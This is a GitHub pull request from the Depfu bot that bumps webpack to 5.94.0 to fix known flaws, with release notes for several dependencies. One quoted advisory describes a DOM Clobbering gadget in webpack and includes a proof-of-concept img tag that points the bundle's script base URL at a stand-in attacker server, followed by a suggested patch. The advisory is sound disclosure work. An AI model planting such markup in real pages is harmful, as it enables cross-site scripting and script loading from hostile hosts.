Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

🚨 [security] [js] Update webpack 5.61.0 → 5.94.0 (minor) #139

Open
wants to merge 1 commit into
base: master
Choose a base branch
from

Conversation

depfu[bot]
Copy link
Contributor

@depfu depfu bot commented Aug 27, 2024


🚨 Your current dependencies have known security vulnerabilities 🚨

This dependency update fixes known security vulnerabilities. Please see the details below and assess their impact carefully. We recommend to merge and deploy this as soon as possible!


Here is everything you need to know about this update. Please take a good look at what changed and the test results before merging this pull request.

What changed?

✳️ webpack (5.61.0 → 5.94.0) · Repo

Security Advisories 🚨

🚨 Webpack's AutoPublicPathRuntimeModule has a DOM Clobbering Gadget that leads to XSS

Hi, Webpack developer team!

Summary

We discovered a DOM Clobbering vulnerability in Webpack’s AutoPublicPathRuntimeModule. The DOM Clobbering gadget in the module can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.

We found the real-world exploitation of this gadget in the Canvas LMS which allows XSS attack happens through an javascript code compiled by Webpack (the vulnerable part is from Webpack). We believe this is a severe issue. If Webpack’s code is not resilient to DOM Clobbering attacks, it could lead to significant security vulnerabilities in any web application using Webpack-compiled code.

Details

Backgrounds

DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:

[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/

Gadgets found in Webpack

We identified a DOM Clobbering vulnerability in Webpack’s AutoPublicPathRuntimeModule. When the output.publicPath field in the configuration is not set or is set to auto, the following code is generated in the bundle to dynamically resolve and load additional JavaScript files:

/******/ 	/* webpack/runtime/publicPath */
/******/ 	(() => {
/******/ 		var scriptUrl;
/******/ 		if (__webpack_require__.g.importScripts) scriptUrl = __webpack_require__.g.location + "";
/******/ 		var document = __webpack_require__.g.document;
/******/ 		if (!scriptUrl && document) {
/******/ 			if (document.currentScript)
/******/ 				scriptUrl = document.currentScript.src;
/******/ 			if (!scriptUrl) {
/******/ 				var scripts = document.getElementsByTagName("script");
/******/ 				if(scripts.length) {
/******/ 					var i = scripts.length - 1;
/******/ 					while (i > -1 && (!scriptUrl || !/^http(s?):/.test(scriptUrl))) scriptUrl = scripts[i--].src;
/******/ 				}
/******/ 			}
/******/ 		}
/******/ 		// When supporting browsers where an automatic publicPath is not supported you must specify an output.publicPath manually via configuration
/******/ 		// or pass an empty string ("") and set the __webpack_public_path__ variable from your code to use your own logic.
/******/ 		if (!scriptUrl) throw new Error("Automatic publicPath is not supported in this browser");
/******/ 		scriptUrl = scriptUrl.replace(/#.*$/, "").replace(/\?.*$/, "").replace(/\/[^\/]+$/, "/");
/******/ 		__webpack_require__.p = scriptUrl;
/******/ 	})();

However, this code is vulnerable to a DOM Clobbering attack. The lookup on the line with document.currentScript can be shadowed by an attacker, causing it to return an attacker-controlled HTML element instead of the current script element as intended. In such a scenario, the src attribute of the attacker-controlled element will be used as the scriptUrl and assigned to __webpack_require__.p. If additional scripts are loaded from the server, __webpack_require__.p will be used as the base URL, pointing to the attacker's domain. This could lead to arbitrary script loading from the attacker's server, resulting in severe security risks.

PoC

Please note that we have identified a real-world exploitation of this vulnerability in the Canvas LMS. Once the issue has been patched, I am willing to share more details on the exploitation. For now, I’m providing a demo to illustrate the concept.

Consider a website developer with the following two scripts, entry.js and import1.js, that are compiled using Webpack:

// entry.js
import('./import1.js')
  .then(module => {
    module.hello();
  })
  .catch(err => {
    console.error('Failed to load module', err);
  });
// import1.js
export function hello () {
  console.log('Hello');
}

The webpack.config.js is set up as follows:

const path = require('path');

module.exports = {
entry: './entry.js', // Ensure the correct path to your entry file
output: {
filename: 'webpack-gadgets.bundle.js', // Output bundle file
path: path.resolve(__dirname, 'dist'), // Output directory
publicPath: "auto", // Or leave this field not set
},
target: 'web',
mode: 'development',
};

When the developer builds these scripts into a bundle and adds it to a webpage, the page could load the import1.js file from the attacker's domain, attacker.controlled.server. The attacker only needs to insert an img tag with the name attribute set to currentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.

<!DOCTYPE html>
<html>
<head>
  <title>Webpack Example</title>
  <!-- Attacker-controlled Script-less HTML Element starts--!>
  <img name="currentScript" src="https://attacker.controlled.server/"></img>
  <!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script src="./dist/webpack-gadgets.bundle.js"></script>
<body>
</body>
</html>

Impact

This vulnerability can lead to cross-site scripting (XSS) on websites that include Webpack-generated files and allow users to inject certain scriptless HTML tags with improperly sanitized name or id attributes.

Patch

A possible patch to this vulnerability could refer to the Google Closure project which makes itself resistant to DOM Clobbering attack: https://github.com/google/closure-library/blob/b312823ec5f84239ff1db7526f4a75cba0420a33/closure/goog/base.js#L174

/******/ 	/* webpack/runtime/publicPath */
/******/ 	(() => {
/******/ 		var scriptUrl;
/******/ 		if (__webpack_require__.g.importScripts) scriptUrl = __webpack_require__.g.location + "";
/******/ 		var document = __webpack_require__.g.document;
/******/ 		if (!scriptUrl && document) {
/******/ 			if (document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT') // Assume attacker cannot control script tag, otherwise it is XSS already :>
/******/ 				scriptUrl = document.currentScript.src;
/******/ 			if (!scriptUrl) {
/******/ 				var scripts = document.getElementsByTagName("script");
/******/ 				if(scripts.length) {
/******/ 					var i = scripts.length - 1;
/******/ 					while (i > -1 && (!scriptUrl || !/^http(s?):/.test(scriptUrl))) scriptUrl = scripts[i--].src;
/******/ 				}
/******/ 			}
/******/ 		}
/******/ 		// When supporting browsers where an automatic publicPath is not supported you must specify an output.publicPath manually via configuration
/******/ 		// or pass an empty string ("") and set the __webpack_public_path__ variable from your code to use your own logic.
/******/ 		if (!scriptUrl) throw new Error("Automatic publicPath is not supported in this browser");
/******/ 		scriptUrl = scriptUrl.replace(/#.*$/, "").replace(/\?.*$/, "").replace(/\/[^\/]+$/, "/");
/******/ 		__webpack_require__.p = scriptUrl;
/******/ 	})();

Please note that if we do not receive a response from the development team within three months, we will disclose this vulnerability to the CVE agent.

🚨 Cross-realm object access in Webpack 5

Webpack 5 before 5.76.0 does not avoid cross-realm object access. ImportParserPlugin.js mishandles the magic comment feature. An attacker who controls a property of an untrusted object can obtain access to the real global object.

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ @​types/estree (indirect, 0.0.50 → 1.0.5) · Repo

Sorry, we couldn't find anything useful about this release.

↗️ enhanced-resolve (indirect, 5.8.3 → 5.17.1) · Repo

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ es-module-lexer (indirect, 0.9.3 → 1.5.4) · Repo · Changelog

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ jest-worker (indirect, 27.3.1 → 27.5.1) · Repo · Changelog

Release Notes

27.5.1

Features

  • [jest-config] Support comments in JSON config file (#12316)
  • [pretty-format] Expose ConvertAnsi plugin (#12308)

Fixes

  • [expect] Add type definitions for asymmetric closeTo matcher (#12304)
  • [jest-cli] Load binary via exported API (#12315)
  • [jest-config] Replace jsonlint with parse-json (#12316)
  • [jest-repl] Make module importable (#12311 & #12315)

Chore & Maintenance

  • [*] Avoid anonymous default exports (#12313)

New Contributors

Full Changelog: v27.5.0...v27.5.1

27.5.0

Features

  • [expect] Add asymmetric matcher expect.closeTo (#12243)
  • [jest-mock] Added mockFn.mock.lastCall to retrieve last argument (#12285)

Fixes

  • [expect] Add a fix for .toHaveProperty('') (#12251)
  • [jest-each, @jest/globals] Allow passing ReadonlyArray type of a table to describe.each and test.each (#12297)
  • [@jest/globals] Add missing options argument to jest.doMock typing (#12292)
  • [jest-environment-node] Add atob and btoa (#12269)
  • [jest-matcher-utils] Correct diff for expected asymmetric matchers (#12264)
  • [jest-message-util] Fix .getTopFrame() (and toMatchInlineSnapshot()) with mjs files (#12277)

Chore & Maintenance

  • [*] Update graceful-fs to ^4.2.9 (#11749)

Performance

  • [jest-resolve] perf: skip error creation on not found stat calls (#11749)

New Contributors

Full Changelog: v27.4.7...v27.5.0

27.4.6

Fixes

  • [jest-environment-node] Add AbortSignal (#12157)
  • [jest-environment-node] Add Missing node global performance (#12002)
  • [jest-runtime] Handle missing mocked property (#12213)
  • [@jest/transform] Update dependency package pirates to 4.0.4 (#12002)

Performance

  • jest-config perf: only register ts-node once when loading TS config files (#12160)

New Contributors

Full Changelog: v27.4.5...v27.4.6

27.4.5

Fixes

  • [jest-worker] Stop explicitly passing process.env (#12141)

New Contributors

Full Changelog: v27.4.4...v27.4.5

27.4.4

Fixes

  • [babel-jest] Add process.version chunk to the cache key (#12122)
  • [jest-environment] Add mocked to jest object (#12133)
  • [jest-worker] Stop explicitly passing execArgv (#12128)

Chore & Maintenance

  • [website] Fix the card front that looks overlapping part of the card back

New Contributors

Full Changelog: v27.4.3...v27.4.4

27.4.2

27.4.2

Fixes

  • [jest-worker] Add additional execArgv to filter (#12103)

New Contributors

Full Changelog: v27.4.1...v27.4.2

27.4.1

Fixes

  • [jest-worker] Filter execArgv correctly (#12097)

New Contributors

Full Changelog: v27.4.0...v27.4.1

27.4.0

Features

  • [expect] Enhancing the toHaveProperty matcher to support array selection (#12092)
  • [jest-core] Add support for testResultsProcessor written in ESM (#12006)
  • [jest-diff, pretty-format] Add compareKeys option for custom sorting of object keys (#11992)
  • [jest-mock] Add ts-jest mock util functions (#12089)

Fixes

  • [expect] Allow again expect.Matchers generic with single value (#11986)
  • [jest-circus, jest-jasmine2] Avoid false concurrent test failures due to unhandled promise rejections (#11987)
  • [jest-config] Add missing slash dependency to package.json (#12080)
  • [jest-core] Incorrect detection of open ZLIB handles (#12022)
  • [jest-diff] Break dependency cycle (#10818)
  • [jest-environment-jsdom] Add @types/jsdom dependency (#11999)
  • [jest-environment-jsdom] Do not reset the global.document too early on teardown (#11871)
  • [jest-transform] Improve error and warning messages (#11998)
  • [jest-worker] Pass execArgv correctly to worker_threads worker (#12069)

Chore & Maintenance

  • [docs] CLI options alphabetized (#11586)
  • [jest-runner] Add info regarding timers to forcedExit message(#12083)
  • [*] Replaced substr method with substring (#12066)
  • [*] Add types entry to all export maps (#12073)

New Contributors

Full Changelog: v27.3.1...v27.4.0

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ loader-runner (indirect, 4.2.0 → 4.3.0) · Repo

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ serialize-javascript (indirect, 6.0.0 → 6.0.2) · Repo

Release Notes

6.0.2

v6.0.1...v6.0.2

6.0.1

What's Changed

New Contributors

Full Changelog: v6.0.0...v6.0.1

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ source-map-support (indirect, 0.5.20 → 0.5.21) · Repo

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ terser (indirect, 5.9.0 → 5.31.6) · Repo · Changelog

Security Advisories 🚨

🚨 Terser insecure use of regular expressions leads to ReDoS

The package terser before 4.8.1, from 5.0.0 and before 5.14.2 are vulnerable to Regular Expression Denial of Service (ReDoS) due to insecure usage of regular expressions.

Release Notes

Too many releases to show here. View the full release notes.

↗️ terser-webpack-plugin (indirect, 5.2.4 → 5.3.10) · Repo · Changelog

Release Notes

5.3.10

5.3.10 (2023-12-28)

Bug Fixes

  • bump terser to the latest stable version (#587) (f650fa3)

5.3.9

5.3.9 (2023-05-17)

Bug Fixes

5.3.8

5.3.8 (2023-05-06)

Bug Fixes

5.3.7

5.3.7 (2023-03-08)

Bug Fixes

5.3.6

5.3.6 (2022-08-29)

Bug Fixes

  • allow disable compress options for terser and swc (#514) (52c1aef)

5.3.5

5.3.5 (2022-08-16)

Bug Fixes

5.3.4

5.3.4 (2022-08-12)

Bug Fixes

  • respect environment options for terser and swc compress options (#509) (29bbc3a)

5.3.3

5.3.3 (2022-06-02)

Fixes

  • fix broken release

5.3.2

5.3.2 (2022-06-02)

Chore

  • switched to @jridgewell/source-map for error generation

5.3.1

5.3.1 (2022-02-01)

Bug Fixes

  • use TerserECMA type to fix type mismatch (#471) (68920cd)

5.3.0

5.3.0 (2021-12-16)

Features

  • removed cjs wrapper and generated types in commonjs format (export = and namespaces used in types), now you can directly use exported types (#463) (34fadde)

5.2.5

5.2.5 (2021-11-08)

Bug Fixes

  • output readable esbuild warnings (9431b32)

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ watchpack (indirect, 2.2.0 → 2.4.2) · Repo

Release Notes

2.4.2

Bugfixes

  • handle empty strings and arrays in ignored

2.4.1

Bugfixes

  • do not report directory as initial missing on the second watch

2.4.0

Bugfixes

  • respect filesystem accuracy more accurately

2.3.0

Features

  • allow to grab separate file and directory time info objects
  • allow functions passed to the ignored option

Bugfixes

  • ignore EACCESS errors during initial scan

Performance

  • improve performance of watcher update

Contributing

  • CI tests node.js 17 too

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ webpack-sources (indirect, 3.2.1 → 3.2.3) · Repo

Release Notes

3.2.2

Bugfixes

  • Source Code is splitted into lines via custom code instead of using a RegExp
    • In weird edge cases the RegExp caused a Stack Overflow

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

🆕 @​jridgewell/gen-mapping (added, 0.3.5)

🆕 @​jridgewell/resolve-uri (added, 3.1.2)

🆕 @​jridgewell/set-array (added, 1.2.1)

🆕 @​jridgewell/source-map (added, 0.3.6)

🆕 @​jridgewell/sourcemap-codec (added, 1.5.0)

🆕 @​jridgewell/trace-mapping (added, 0.3.25)

🆕 acorn-import-attributes (added, 1.9.5)

🆕 json-parse-even-better-errors (added, 2.3.1)

🆕 update-browserslist-db (added, 1.1.0)

🗑️ @​types/eslint (removed)

🗑️ @​types/eslint-scope (removed)

🗑️ acorn-import-assertions (removed)

🗑️ json-parse-better-errors (removed)

🗑️ yocto-queue (removed)


Depfu Status

Depfu will automatically keep this PR conflict-free, as long as you don't add any commits to this branch yourself. You can also trigger a rebase manually by commenting with @depfu rebase.

All Depfu comment commands
@​depfu rebase
Rebases against your default branch and redoes this update
@​depfu recreate
Recreates this PR, overwriting any edits that you've made to it
@​depfu merge
Merges this PR once your tests are passing and conflicts are resolved
@​depfu cancel merge
Cancels automatic merging of this PR
@​depfu close
Closes this PR and deletes the branch
@​depfu reopen
Restores the branch and reopens this PR (if it's closed)
@​depfu pause
Ignores all future updates for this dependency and closes this PR
@​depfu pause [minor|major]
Ignores all future minor/major updates for this dependency and closes this PR
@​depfu resume
Future versions of this dependency will create PRs again (leaves this PR as is)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
None yet
Development

Successfully merging this pull request may close these issues.

1 participant